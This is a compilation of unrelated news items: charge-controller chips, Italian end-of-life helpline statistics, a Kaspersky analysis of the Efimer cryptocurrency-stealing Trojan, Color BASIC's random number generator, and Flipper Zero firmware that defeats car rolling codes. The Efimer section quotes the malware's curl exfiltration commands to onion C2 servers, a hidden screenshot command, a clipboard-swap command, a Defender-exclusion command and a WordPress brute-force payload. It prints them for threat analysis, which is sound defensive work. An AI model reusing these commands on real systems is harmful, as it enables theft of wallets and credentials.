The Texas Instruments TP4056 is the default charge-controller chip for any maker or hacker working with lithium batteries. And why not? You can get perfectly-functional knockoffs on handy breakout boards from the usual online sources for pennies. Betteridge’s Law aside, [Lefty Maker] thinks that it may well be time to move on from the TP4056 and spends his latest video telling us why, along with promoting an alternative.

His part of choice is another TI chip, the BQ25185. [Lefty] put together his own charge controller board to show off the capabilities of this chip — including variable under- and over-charge protection voltages. Much of his beef with the TP4056 has less to do with that chip than with the cheap charge modules it comes on: when he crows about the lack of mounting holes and proper USB-PD on the knock-off modules, it occurs to us he could have had those features on his board even if he’d used a TP4056.

On the other hand, the flexibility offered by the BQ25185 is great to future-proof projects in case the dominant battery chemistry changes, or you just change your mind about what sort of battery you want to use. Sure, you’d need to swap a few resistors to set new trigger voltages and charging current, but that beats starting from scratch.

[Lefty Maker] also points out some of the advantages to making your own boards rather than relying on cheap modules. Namely, you can make them however you want. From a longer USB port to indicator LEDs and a built-in battery compartment, this charging board is exactly what [Lefty Maker] wants. Given how cheap custom PCBs are these days, it’s not hard to justify rolling your own.

The same cannot be said of genuine TI silicon, however. While the BQ25185 has a few good features that [Lefty Maker] points out in the video, we’re not sure the added price is worth it. Sure, it’s only a couple bucks, but that’s more than a 300% increase!

We’ve seen other projects pushing alternative charge controllers, but for now the TP4056 reigns as the easy option.

youtube.com/embed/8npqPz5fvnI?…

hackaday.com/2025/08/08/is-it-…

Si è registrato un aumento del 14% delle richieste arrivate alla nostra infoline: da Liguria e Lazio il maggior numero di chiamate in proporzione al numero degli abitanti

580 le richieste di aiuto alla morte volontaria

Negli ultimi 12 mesi sono arrivate 16.035 richieste di informazioni sul fine vita tramite il Numero Bianco(06 9931 3409), coordinato da Valeria Imbrogno, compagna di Dj Fabo, e attraverso le email dirette all’Associazione Luca Coscioni. Una media di 44 richieste al giorno, in crescita del 14 per cento rispetto all’anno precedente.

Si tratta di un servizio attivo tutti i giorni per ascoltare, orientare e informare sulle possibilità offerte oggi dall’ordinamento italiano in materia di fine vita, su temi come eutanasia e suicidio medicalmente assistito, testamento biologico, interruzione delle terapie e sedazione palliativa profonda. In assenza di risposte istituzionali adeguate, il servizio aiuta a costruire percorsi legali e umani verso la libertà di scelta sul fine vita.

Nel dettaglio, le richieste hanno riguardato soprattutto eutanasia e suicidio medicalmente assistito (circa 5 al giorno), ma anche interruzione delle terapie e sedazione palliativa profonda (più di una al giorno). Sono inoltre aumentate le domande pratiche per accedere alla morte volontaria medicalmente assistita in Svizzera o attraverso percorsi legali in Italia, arrivate da 580 persone (51 per cento donne, 49 per cento uomini), contro le 533 dell’anno precedente.

Sulla base delle informazioni disponibili sulla provenienza geografica di chi ha contattato il servizio, quando fornite, è stata elaborata una proiezione regionale ponderata per popolazione, che restituisce una fotografia della richiesta di aiuto a morire in Italia.

datawrapper.dwcdn.net/jsJTr/1/!function(){"use strict";window.addEventListener("message",function(a){if(void 0!==a.data["datawrapper-height"]){var e=document.querySelectorAll("iframe");for(var t in a.data["datawrapper-height"])for(var r,i=0;r=e[i];i++)if(r.contentWindow===a.source){var d=a.data["datawrapper-height"][t]+"px";r.style.height=d}}})}();

La classifica delle regioni con il maggior numero di richieste rapportate a 100.000 abitanti vede al primo posto la Liguria con 48 ogni 100.000 abitanti, seguita dal Lazio con 43 richieste. Al terzo posto si posiziona la Toscana con 35, affiancata dal Friuli Venezia Giulia. Seguono Umbria, Emilia-Romagna e Lombardia con 33 richieste. Poi Piemonte con 28, il Veneto e le Marche con 26.

L'articolo Più di 16mila persone hanno contattato il Numero Bianco nell’ultimo anno proviene da Associazione Luca Coscioni.

Introduction

In June, we encountered a mass mailing campaign impersonating lawyers from a major company. These emails falsely claimed the recipient’s domain name infringed on the sender’s rights. The messages contained the Efimer malicious script, designed to steal cryptocurrency. This script also includes additional functionality that helps attackers spread it further by compromising WordPress sites and hosting malicious files there, among other techniques.

Report summary:

• Efimer is spreading through compromised WordPress sites, malicious torrents, and email.
• It communicates with its command-and-control server via the Tor network.
• Efimer expands its capabilities through additional scripts. These scripts enable attackers to brute-force passwords for WordPress sites and harvest email addresses for future malicious email campaigns.

Kaspersky products classify this threat with the following detection verdicts:

• HEUR:Trojan-Dropper.Script.Efimer
• HEUR:Trojan-Banker.Script.Efimer
• HEUR:Trojan.Script.Efimer
• HEUR:Trojan-Spy.Script.Efimer.gen

Technical details

Background

In June, we detected a mass mailing campaign that was distributing identical messages with a malicious archive attached. The archive contained the Efimer stealer, designed to pilfer cryptocurrency. This malware was dubbed “Efimer” because the word appeared in a comment at the beginning of its decrypted script. Early versions of this Trojan likely emerged around October 2024, initially spreading via compromised WordPress websites. While attackers continue to use this method, they expanded their distribution in June to include email campaigns.

Part of the script with comments

Email distribution

The emails that users received claimed that lawyers from a large company had reviewed the recipient’s domain and found words or phrases in its name that infringed upon their registered trademarks. The emails threatened legal action but offered to drop the lawsuit if the domain owner changed the domain name. Furthermore, they even expressed willingness to purchase the domain. The specific domain was never mentioned in the email. Instead, the attachment supposedly contained “details” about the alleged infringement and the proposed buyout amount.

Sample email

In a recent phishing attempt, targets received an email with a ZIP attachment named “Demand_984175” (MD5: e337c507a4866169a7394d718bc19df9). Inside, recipients found a nested, password-protected archive and an empty file named “PASSWORD – 47692”. It’s worth noting the clever obfuscation used for the password file: instead of a standard uppercase “S”, the attackers used the Unicode character U+1D5E6. This subtle change was likely implemented to prevent automated tools from easily extracting the password from the filename.

Archive contents

If the user unzips the password-protected archive, they’ll find a malicious file named “Requirement.wsf”. Running this file infects their computer with the Efimer Trojan, and they’ll likely see an error message.

Error message

Here’s how this infection chain typically plays out. When the Requirement.wsf script first runs, it checks for administrator privileges. It does this by attempting to create and write data to a temporary file at C:\\Windows\\System32\\wsf_admin_test.tmp. If the write is successful, the file is then deleted. What happens next depends on the user’s access level:

• If the script is executed on behalf of a privileged user, it adds the C:\\Users\\Public\\controller folder to the Windows Defender antivirus exclusions. This folder will then be used to store various files. It also adds to exclusions the full path to the currently running WSF script and the system processes C:\\Windows\\System32\\exe and C:\\Windows\\System32\\cmd.exe. Following this, the script saves two files to the aforementioned path: “controller.js” (containing the Efimer Trojan) and “controller.xml”. Finally, it creates a scheduler task in Windows, using the configuration from controller.xml.

• If the script is run with limited user privileges, it saves only the controller.js file to the same path. It adds a parameter for automatic controller startup to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\controller registry key. The controller is then launched via the WScript utility.

Afterward, the script uses WScript methods to display an error message dialog box and then exits. This is designed to mislead the user, who might be expecting an application or document to open, when in reality, nothing useful occurs.

Efimer Trojan

The controller.js script is a ClipBanker-type Trojan. It’s designed to replace cryptocurrency wallet addresses the user copies to their clipboard with the attacker’s own. On top of that, it can also run external code received directly from its command-and-control server.

The Trojan starts by using WMI to check if Task Manager is running.

If it is, the script exits immediately to avoid detection. However, if Task Manager isn’t running, the script proceeds to install a Tor proxy client on the victim’s computer. The client is used for communication with the C2 server.

The script has several hardcoded URLs to download Tor from. This ensures that even if one URL is blocked, the malware can still retrieve the Tor software from the others. The sample we analyzed contained the following URLs:

The file it downloads from one of the URLs (A46913AB31875CF8152C96BD25027B4D) is the Tor proxy service. The Trojan saves it to C:\\Users\\Public\\controller\\ntdlg.exe. If the download fails, the script terminates.

Assuming a successful download, the script launches the file with the help of WScript and then goes dormant for 10 seconds. This pause likely allows the Tor service to establish a connection with the Onion network and initialize itself. Next, the script attempts to read a GUID from C:\\Users\\Public\\controller\\GUID. If the file cannot be found, it generates a new GUID via createGUID() and saves it to the specified path.

The GUID format is always vs1a-<4 random hex characters>, for example, vs1a-1a2b.

The script then tries to load a file named “SEED” from C:\\Users\\Public\\controller\\SEED. This file contains mnemonic phrases for cryptocurrency wallets that the script has collected. We’ll delve into how it finds and saves these phrases later in this post. If the SEED file is found, the script sends it to the server and then deletes it. These actions assume that the script might have previously terminated improperly, which would have prevented the mnemonic phrases from being sent to the server. To avoid losing collected data in case of an error, the malware saves them to a file before attempting to transmit them.

At this point, the controller concludes its initialization process and enters its main operation cycle.

The main loop

In each cycle of operation, the controller checks every 500 milliseconds whether Task Manager is running. As before, if it is, the process exits.

If the script doesn’t terminate, it begins to ping the C2 server over the Tor network. To do this, the script sends a request containing a GUID (Globally Unique Identifier) to the server. The server’s response will be a command. To avoid raising suspicion with overly frequent requests while maintaining constant communication, the script uses a timer (the p_timer variable).

As we can see, every 500 milliseconds (half a second), immediately after checking if Task Manager is running, p_timer decrements by 1. When the variable reaches 0 (it’s also zero on the initial run), the timer is reset using the following formula: the PING_INT variable, which is set to 1800, is multiplied by two, and the result is stored in p_timer. This leaves 1800 seconds, or 30 minutes, until the next update. After the timer updates, the PingToOnion function is called, which we discuss next. Many similar malware strains constantly spam the network, hitting their C2 server for commands. The behavior quickly gives them away. A timer allows the script to stay under the radar while maintaining its connection to the server. Making requests only once every half an hour makes them much harder to spot in the overall traffic flow.

The PingToOnion function works hand-in-hand with CheckOnionCMD. In the first one, the script sends a POST request to the C2 using the curl utility, routing the request through a Tor proxy located at localhost:9050 at the address:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php

The server’s response is saved to the user’s %TEMP% directory at %TEMP%\cfile.
curl -X POST -d "' + _0x422bc3 + '" --socks5-hostname localhost:9050 ' + PING_URL + ' --max-time 30 -o ' + tempStrings + '\\cfile
After a request is sent to the server, CheckOnionCMD immediately kicks in. Its job is to look for a server response in a file named “cfile” located in the %TEMP% directory. If the response contains a GUID command, the malware does nothing. This is likely a PONG response from the server, confirming that the connection to the C2 server is still alive and well. However, if the first line of the response contains an EVAL command, it means all subsequent lines are JavaScript code. This code will then be executed using the eval function.

Regardless of the server’s response, the Trojan then targets the victim’s clipboard data. Its primary goal is to sniff out mnemonic phrases and swap copied cryptocurrency wallet addresses with the attacker’s own wallet addresses.

First, it scans the clipboard for strings that look like mnemonic (seed) phrases.

If it finds any, these phrases are saved to a file named “SEED” (similar to the one the Trojan reads at startup). This file is then exfiltrated to the server using the PingToOnion function described above with the action SEED parameter. Once sent, the SEED file is deleted. The script then takes five screenshots (likely to capture the use of mnemonic phrases) and sends them to the server as well.

They are captured with the help of the following PowerShell command:
powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save(\'' + path.replace(/\\/g, '\\\\') + '\', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();"
The FileToOnion function handles sending files to the server. It takes two arguments: the file itself (in this case, a screenshot) and the path where it needs to be uploaded.

Screenshots are sent to the following path on the server:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/recvf.php
Files are also sent via a curl command:
curl -X POST -F "file=@' + screenshot + '" ' + '-F "MGUID=' + GUID + '" ' + '-F "path=' + path + '" ' + '--socks5-hostname localhost:9050 "' + FILE_URL + '"
After sending the file, the script goes idle for 50 seconds. Then, it starts replacing cryptocurrency wallet addresses. If the clipboard content is only numbers, uppercase and lowercase English letters, and includes at least one letter and one number, the script performs additional checks to determine if it’s a Bitcoin, Ethereum, or Monero wallet. If a matching wallet is found in the clipboard, the script replaces it according to the following logic:

• Short Bitcoin wallet addresses (starting with “1” or “3” and 32–36 characters long) are replaced with a wallet whose first two characters match those in the original address.
• For long wallet addresses that start with “bc1q” or “bc1p” and are between 40 and 64 characters long, the malware finds a substitute address where the last character matches the original.

• If a wallet address begins with “0x” and is between 40 and 44 characters long, the script replaces it with one of several Ethereum wallets hardcoded into the malware. The goal here is to ensure the first three characters match the original address.

• For Monero addresses that start with “4” or “8” and are 95 characters long, attackers use a single, predefined address. Similar to other wallet types, the script checks for matching characters between the original and the swapped address. In the case of Monero, only the first character needs to match. This means the malware will only replace Monero wallets that start with “4”.

This clipboard swap is typically executed with the help of the following command:
cmd.exe /c echo|set/p= + new_clipboard_data + |clip
After each swap, the script sends data to the server about both the original wallet and the replacement.

Distribution via compromised WordPress sites

As mentioned above, in addition to email, the Trojan spreads through compromised WordPress sites. Attackers search for poorly secured websites, brute-force their passwords, and then post messages offering to download recently released movies. These posts include a link to a password-protected archive containing a torrent file.

Here’s an example of such a post on https://lovetahq[.]com/sinners-2025-torent-file/

The torrent file downloads a folder to the device. This folder contains something that looks like a movie in XMPEG format, a “readme !!!.txt” text file, and an executable that masquerades as a media player.

Downloaded files

To watch a movie in the XMPEG format, the user would seemingly need to launch xmpeg_player.exe. However, this executable is actually another version of the Efimer Trojan installer. Similar to the WSF variant, this EXE installer extracts the Trojan’s main component into the C:\\Users\\Public\\Controller folder, but it’s named “ntdlg.js”. Along with the Trojan, the installer also extracts the Tor proxy client, named “ntdlg.exe”. The installer then uses PowerShell to add the script to startup programs and the “Controller” folder to Windows Defender exclusions.
cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Controller\'
The extracted Trojan is almost identical to the one spread via email. However, this version’s code includes spoofed wallets for Tron and Solana, in addition to the Bitcoin, Ethereum, and Monero wallets. Also, the GUID for this version starts with “vt05”.

Additional scripts

On some compromised machines, we uncovered several other intriguing scripts communicating with the same .onion domain as the previously mentioned ones. We believe the attackers installed these via an eval command to execute payloads from their C2 server.

WordPress site compromise

Among these additional scripts, we found a file named “btdlg.js” (MD5: 0f5404aa252f28c61b08390d52b7a054). This script is designed to brute-force passwords for WordPress sites.

Once executed, it generates a unique user ID, such as fb01-<4 random hex characters>, and saves it to C:\\Users\\Public\\Controller\\.

The script then initiates multiple processes to launch brute-force attacks against web pages. The code responsible for these attacks is embedded within the same script, prior to the main loop. To trigger this functionality, the script must be executed with the “B” parameter. Within its main loop, the script initiates itself by calling the _runBruteProc function with the parameter “B”.

After a brute-force attack is completed, the script returns to the main loop. Here, it will continue to spawn new processes until it reaches a hardcoded maximum of 20.

Thus, the script supports two modes – brute-force and the main one, responsible for the initial launch. If the script is launched without any parameters, it immediately enters the main loop. From there, it launches a new instance of itself with the “B” parameter, kicking off a brute-force attack.

The script’s operation cycle involves both the brute-force code and the handler for its core logic

The brute-force process starts via the GetWikiWords function: the script retrieves a list of words from Wikipedia. This list is then used to identify new target websites for the brute-force attack. If the script fails to obtain the word list, it waits 30 minutes before retrying.

The script then enters its main operation loop. Every 30 minutes, it initiates a request to the C2 server. This is done with the help of the PingToOnion method, which is consistent with the similarly named methods found in other scripts. It sends a BUID command, transmitting a unique user ID along with brute-force statistics. This includes the total number of domains attacked, and the count of successful and failed attacks.

After this, the script utilizes the GetRandWords function to generate a list of random words sourced from Wikipedia.

Finally, using these Wikipedia-derived random words as search parameters, the script employs the getSeDomains function to search Google and Bing for domains to target with brute-force attacks.

Part of the getSeDomains function

The ObjID function calculates an eight-digit hexadecimal hash, which acts as a unique identifier for a special object (obj_id). In this case, the special object is a file containing brute-force information. This includes a list of users for password guessing, success/failure flags for brute-force attempts, and other script-relevant data. For each distinct domain, this data is saved to a separate file. The script then checks if this identifier has been encountered before. All unique identifiers are stored in a file named “UDBXX.dat”. The script searches the file for a new identifier, and if one isn’t found, it’s added. This identifier tracking helps save time by avoiding reprocessing of already known domains.

For every new domain, the script makes a request using the WPTryPost function. This is an XML-RPC function that attempts to create a test post using a potential username and password. The command to create the post looks like this:
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' + %LOGIN%+ '</string></value></param>' + '<param><value><string>' + %PASSWORD%+ '</string></value></param>' + '<param><value><struct>' + '<member>' + '<name>title</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>description</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_keywords</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_excerpt</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '</struct></value></param>' + '<param><value><boolean>1</boolean></value></param>' + '</params>' + '</methodCall>
When the XML-RPC request is answered, whether successfully or not, the WPGetUsers function kicks in to grab users from the domain. This function hits the domain at /wp-json/wp/v2/users, expecting a list of WordPress site users in return.

This list of users, along with the domain and counters tracking the number of users and passwords brute-forced, gets written to the special object file described above. The ID for this file is calculated with the help of ObjID. After processing a page, the script lies dormant for five seconds before moving on to the next one.

Meanwhile, multiple processes are running concurrently on the victim’s computer, all performing brute-force operations. As mentioned before, when the script is launched with the “B” argument, it enters an infinite brute-forcing loop, with each process independently handling its targets. At the start of each iteration, there’s a randomly chosen 1–2 second pause. This delay helps stagger the start times of requests, making the activity harder to detect. Following this, the process retrieves a random object file ID for processing from C:\\Users\\Public\\Controller\\objects by calling ObjGetW.

The ObjGetW function snags a random domain object that’s not currently tied up by a brute-force process. Locked files are marked with the LOCK extension. Once a free, random domain is picked for brute-forcing, the lockObj function is called. This changes the file’s extension to LOCK so other processes don’t try to work on it. If all objects are locked, or if the chosen object can’t be locked, the script moves to the next loop iteration and tries again until it finds an available file. If a file is successfully acquired for processing, the script extracts data from it, including the domain, password brute-force counters, and a list of users.

Based on these counter values, the script checks if all combinations have been exhausted or if the maximum number of failed attempts has been exceeded. If the attempts are exhausted, the object is deleted, and the process moves on to a new iteration. If attempts remain, the script tries to authenticate with the help of hardcoded passwords.

When attempting to guess a password for each user, a web page post request is sent via the WPTryPost function. Depending on the outcome of the brute-force attempt, ObjUpd is called to update the status for the current domain and the specific username-password combination.

After the status is updated, the object is unlocked, and the process pauses randomly before continuing the cycle with a new target. This ensures continuous, multi-threaded credential brute-forcing, which is also regulated by the script and logged in a special file. This logging prevents the script from starting over from scratch if it crashes.

Successfully guessed passwords are sent to the C2 with the GOOD command.

Alternative Efimer version

We also discovered another script named “assembly.js” (MD5: 100620a913f0e0a538b115dbace78589). While similar in functionality to controller.js and ntdlg.js, it has several significant differences.

Similarly to the first script, this one belongs to the ClipBanker type. Just like its predecessors, this malware variant reads a unique user ID. This time it looks for the ID at C:\\Users\\Public\\assembly\\GUID. If it can’t find or read that ID, it generates a new one. This new ID follows the format M11-XXXX-YYYY, where XXXX and YYYY are random four-digit hexadecimal numbers. Next up, the script checks if it’s running inside a virtual machine environment.

If it detects a VM, it prefixes the GUID string with a “V”; otherwise, it uses an “R”. Following this, the directory where the GUID is stored (which appears to be the script’s main working directory) is hidden.

After that, a file named “lptime” is saved to the same directory. This file stores the current time, minus 21,000 seconds. Once these initial setup steps are complete, the malware enters its main operation loop. The first thing it does is check the time stored in the “lptime” file. If the difference between the current time and the time in the file is greater than 21,600 seconds, it starts preparing data to send to the server.

After that, the script attempts to read data from a file named “geip”, which it expects to find at C:\\Users\\Public\\assembly\\geip. This file contains information about the infected device’s country and IP address. If it’s missing, the script retrieves information from ipinfo.io/json and saves it. Next, it activates the Tor service, located at C:\\Users\\Public\\assembly\\upsvc.exe.

Afterwards, the script uses the function GetWalletsList to locate cryptocurrency wallets and compile a list of its findings.

It prioritizes scanning of browser extension directories for Google Chrome and Brave, as well as folders for specific cryptocurrency wallet applications whose paths are hardcoded within the script.

The script then reads a file named “data” from C:\\Users\\Public\\assembly. This file typically contains the results of previous searches for mnemonic phrases in the clipboard. Finally, the script sends the data from this file, along with the cryptocurrency wallets it discovered from application folders, to a C2 server at:
http://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion/assembly/route.php
After the script sends the data, it verifies the server’s response with the help of the CheckOnionCMD function, which is similar to the functions found in the other scripts. The server’s response can contain one of the following commands:

• RPLY returns “OK”. This response is only received after cryptocurrency wallets are sent, and indicates that the server has successfully received the data. If the server returns “OK”, the old data file is deleted. However, if the transmission fails (no response is received), the file isn’t deleted. This ensures that if the C2 server is temporarily unavailable, the accumulated wallets can still be sent once communication is re-established.
• EVAL executes a JavaScript script provided in the response.
• KILL completely removes all of the malware’s components and terminates its operation.

Next, the script scans the clipboard for strings that resemble mnemonic phrases and cryptocurrency wallet addresses.

Any discovered data is then XOR-encrypted using the key $@#LcWQX3$ and saved to a file named “data”. After these steps, the entire cycle repeats.

“Liame” email address harvesting script

This script operates as another spy, much like the others we’ve discussed, and shares many similarities. However, its purpose is entirely different. Its primary goal is to collect email addresses from specified websites and send them to the C2 server. The script receives the list of target websites as a command from the C2. Let’s break down its functionality in more detail.

At startup, the script first checks for the presence of the LUID (unique identifier for the current system) in the main working directory, located at C:\\Users\\Public\\Controller\\LUID. If the LUID cannot be found, it creates one via a function similar to those seen in other scripts. In this case, the unique identifier takes the format fl01-<4 random hex characters>.

Next, the checkUpdate() function runs. This function checks for a file at C:\\Users\\Public\\Controller\\update_l.flag. If the file exists, the script waits for 30 seconds, then deletes update_l.flag, and terminates its operation.

Afterwards, the script periodically (every 10 minutes) sends a request to the server to receive commands. It uses a function named PingToOnion, which is similar to the identically named functions in other scripts.

The request includes the following parameters:

• LIAM: unique identifier
• action: request type
• data: data corresponding to the request type

In this section of the code, LIAM string is used as the action, and the data parameter contains the number of collected email addresses along with the script operation statistics.

If the script unexpectedly terminates due to an error, it can send a log in addition to the statistics, where the action parameter will contain LOGS string, and the data parameter will contain the error message.

The request is sent to the following C2 address:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php
The server returns a JSON-like structure, which the next function later parses.

The structure dictates the commands the script should execute.

This script supports two primary functions:

• Get a list of email addresses from domains provided by the server
  

  The script receives domains and iterates through each one to find hyperlinks and email addresses on the website pages.

  The GetPageLinks function parses the HTML content of a webpage and extracts all links that reside on the same domain as the original page. This function then filters these links, retaining only those that point to HTML/PHP files or files without extensions.

  

  The PageGetLiame function extracts email addresses from the page’s HTML content. It can process both openly displayed addresses and those encapsulated within mailto links .

  

  Following this initial collection, the script revisits all previously gathered links on the C2-provided domains, continuing its hunt for additional email addresses. Finally, the script de-duplicates the entire list of harvested email addresses and saves them for future use.

• Exfiltrate collected data to the server
  In this scenario, the script anticipates two parameters from the C2 server’s response: pstack and buffer, where:
  
  • pstack is an array of domains to which subsequent POST requests will be sent;
  • buffer is an array of strings, each containing data in the format of address,subject,message.

  The script randomly selects a domain from pstack and then uploads one of the strings from the buffer parameter to it. This part of the script likely functions as a spam module, designed to fill out forms on target websites. For each successful data submission via a POST request to a specific domain, the script updates its statistics (which we mentioned earlier) with the number of successful transmissions for that domain.

  If an error occurs within this loop, the script catches it and reports it back to the C2 server with the LOGS command.

Throughout the code, you’ll frequently encounter the term “Liame”, which is simply “Email” spelled backwards. Similarly, variations like “Liama”, “Liam”, and “Liams” are also present, likely derived from “Liame”. This kind of “wordplay” in the code is almost certainly an attempt to obscure the malicious intent of its functions. For example, instead of a clearly named “PageGetEmail” function, you’d find “PageGetLiame”.

Victims

From October 2024 through July 2025, Kaspersky solutions detected the Efimer Trojan impacting 5015 Kaspersky users. The malware exhibited its highest level of activity in Brazil, where attacks affected 1476 users. Other significantly impacted countries include India, Spain, Russia, Italy, and Germany.

TOP 10 countries by the number of users who encountered Efimer (download)

Takeaways

The Efimer Trojan combines a number of serious threats. While its primary goal is to steal and swap cryptocurrency wallets, it can also leverage additional scripts to compromise WordPress sites and distribute spam. This allows it to establish a complete malicious infrastructure and spread to new devices.

Another interesting characteristic of this Trojan is its attempt to propagate among both individual users and corporate environments. In the first case, attackers use torrent files as bait, allegedly to download popular movies; in the other, they send claims about the alleged unauthorized use of words or phrases registered by another company.

It’s important to note that in both scenarios, infection is only possible if the user downloads and launches the malicious file themselves. To protect against these types of threats, we urge users to avoid downloading torrent files from unknown or questionable sources, always verify email senders, and consistently update their antivirus databases.

For website developers and administrators, it’s crucial to implement measures to secure their resources against compromise and malware distribution. This includes regularly updating software, using strong (non-default) passwords and two-factor authentication, and continuously monitoring their sites for signs of a breach.

Indicators of compromise

Hashes of malicious files
39fa36b9bfcf6fd4388eb586e2798d1a — Requirement.wsf
5ba59f9e6431017277db39ed5994d363 — controller.js
442ab067bf78067f5db5d515897db15c — xmpeg_player.exe
16057e720be5f29e5b02061520068101 — xmpeg_player.exe
627dc31da795b9ab4b8de8ee58fbf952 — ntdlg.js
0f5404aa252f28c61b08390d52b7a054 — btdlg.js
eb54c2ff2f62da5d2295ab96eb8d8843 — liame.js
100620a913f0e0a538b115dbace78589 — assembly.js
b405a61195aa82a37dc1cca0b0e7d6c1 — btdlg.js

Hashes of clean files involved in the attack
5d132fb6ec6fac12f01687f2c0375353 — ntdlg.exe (Tor)

Websites
hxxps://lovetahq[.]com/sinners-2025-torent-file/
hxxps://lovetahq[.]com/wp-content/uploads/2025/04/movie_39055_xmpg.zip

C2 URLs
hxxp://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion
hxxp://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion

securelist.com/efimer-trojan/1…

Although these days we get to tap into many sources of entropy to give a pretty good illusion of randomness, home computers back in the 1980s weren’t so lucky. Despite this, their random number generators were good enough for games and such, as demonstrated by the [CoCo Town] YouTube channel.

The CoCo is the nickname for the TRS-80 Color Computer, which despite its name, shares absolutely nothing with the TRS-80. Its BASIC version is called Color BASIC, which like many others was based on Microsoft BASIC, so the video’s description should be valid for many other BASIC versions as well. In the video we’re first taken through a basic summary of what the floating point format is all about, before running through an example of the algorithm used by Color BASIC for its RND function, using a test program written in Color BASIC.

As described in the video, the used algorithm appears to be the linear congruential generator, which is a pseudo-random generator that requires minimal resources from the hardware it runs on. Of course, its main disadvantage is that it will fairly rapidly begin to repeat itself, especially with a limited number of output bits. This makes it a decent choice even today for something like simple game logic where you just want to get some variation without aiming for cryptographically secure levels of randomness.

youtube.com/embed/XzXvcamBzOk?…

Thanks to [Stephen Walters] for the tip.

hackaday.com/2025/08/08/explor…

Un nuovo firmware personalizzato per il dispositivo multiuso Flipper Zero, è capace di eludere molti dei sistemi di sicurezza con codice variabile, implementati nella maggioranza dei veicoli di ultima generazione, esponendo potenzialmente a rischio di essere rubati milioni di automobili.

Emerge dalle prove presentate dal canale YouTube “Talking Sasquach” che il firmware, presumibilmente in circolazione nel dark web, è in grado di replicare il portachiavi di un veicolo mediante un’unica e rapida intercettazione del segnale.

Per decenni, la sicurezza a codice variabile è stata il punto di riferimento nel settore per consentire l’accesso ai veicoli senza l’uso di chiavi. Il sistema è stato ideato per scongiurare i cosiddetti “attacchi di replay”. Ma un nuovo algoritmo sincronizzato tra il trasmettitore, ovvero il portachiavi, e il ricevitore, cioè il veicolo, ne permette il funzionamento.

Ogni volta che si preme un pulsante, viene generato un codice nuovo, univoco e imprevedibile. Un codice vecchio, una volta utilizzato, viene rifiutato dal veicolo, rendendo inutile la semplice registrazione e ritrasmissione del segnale.

Alcuni esperti di sicurezza sottolineano che si possa trattare di una vulnerabilità nota, descritta in dettaglio in un articolo accademico chiamato “RollBack“. Questo metodo di attacco prevede l’acquisizione di diversi codici e la loro successiva riproduzione sul veicolo in un ordine specifico e manipolato.

Questo inganna il contatore di sincronizzazione del veicolo, facendolo tornare a uno stato precedente, che l’aggressore può sfruttare per ottenere il controllo. Indipendentemente dal metodo preciso, il risultato mostrato nei video è lo stesso: una sola cattura garantisce l’accesso completo. L’elenco dei produttori interessati è lungo e comprende molti marchi noti: Chrysler, Dodge, Fiat, Ford, Hyundai, Jeep, Kia, Mitsubishi e Subaru.

youtube.com/embed/wk7BGMkuI8A?…

Gli attacchi precedentemente noti a questo sistema, come “RollJam“, erano tecnicamente complessi e difficili da eseguire nel mondo reale. RollJam richiedeva di bloccare il ricevitore del veicolo per impedirgli di ricevere il primo segnale dal telecomando legittimo, registrando contemporaneamente il codice non utilizzato per un uso successivo.

Questo nuovo exploit, tuttavia, è molto più pericoloso a causa della sua semplicità. Secondo le dimostrazioni, un aggressore che utilizza un Flipper Zero dotato di questo firmware personalizzato deve solo trovarsi nel raggio d’azione per intercettare la pressione di un singolo pulsante sul telecomando del bersaglio, ad esempio mentre il proprietario blocca o sblocca l’auto. Non è necessario alcun jamming.

A partire da quel segnale catturato, il dispositivo può apparentemente effettuare il reverse engineering della sequenza crittografica, consentendogli di emulare tutte le funzioni del portachiavi, tra cui blocco, sblocco e apertura del bagagliaio, creando di fatto una chiave principale. Una conseguenza significativa di questo attacco è che il telecomando originale e legittimo viene immediatamente desincronizzato dal veicolo e cessa di funzionare. Questo potrebbe essere il primo segnale per il proprietario che la sicurezza del suo veicolo è stata compromessa.

Sembrano esserci due teorie principali su come il firmware raggiunga questo obiettivo. Talking Sasquach suggerisce che il metodo implichi il reverse engineering della sequenza di codice rolling, che potrebbe essere stato reso possibile da precedenti fughe di dati sugli algoritmi del produttore o da estesi attacchi brute-force su elenchi di codice noti.

Gravi conseguenze attendono sia i consumatori che i produttori. Purtroppo, la vulnerabilità celata nel ricevitore hardware del veicolo rende impraticabile una soluzione rapida tramite un mero aggiornamento software. Secondo gli esperti, l’unico rimedio efficace sarebbe un massiccio richiamo per sostituire i componenti fisici dei veicoli coinvolti, un’impresa logistica e finanziaria estremamente problematica per il settore automobilistico.

L'articolo Il nuovo firmware del Flipper Zero made in DarkWeb, diventa la chiave per ogni auto proviene da il blog della sicurezza informatica.

Negli ultimi mesi, il dibattito sull’intelligenza artificiale ha assunto toni sempre più estremi.

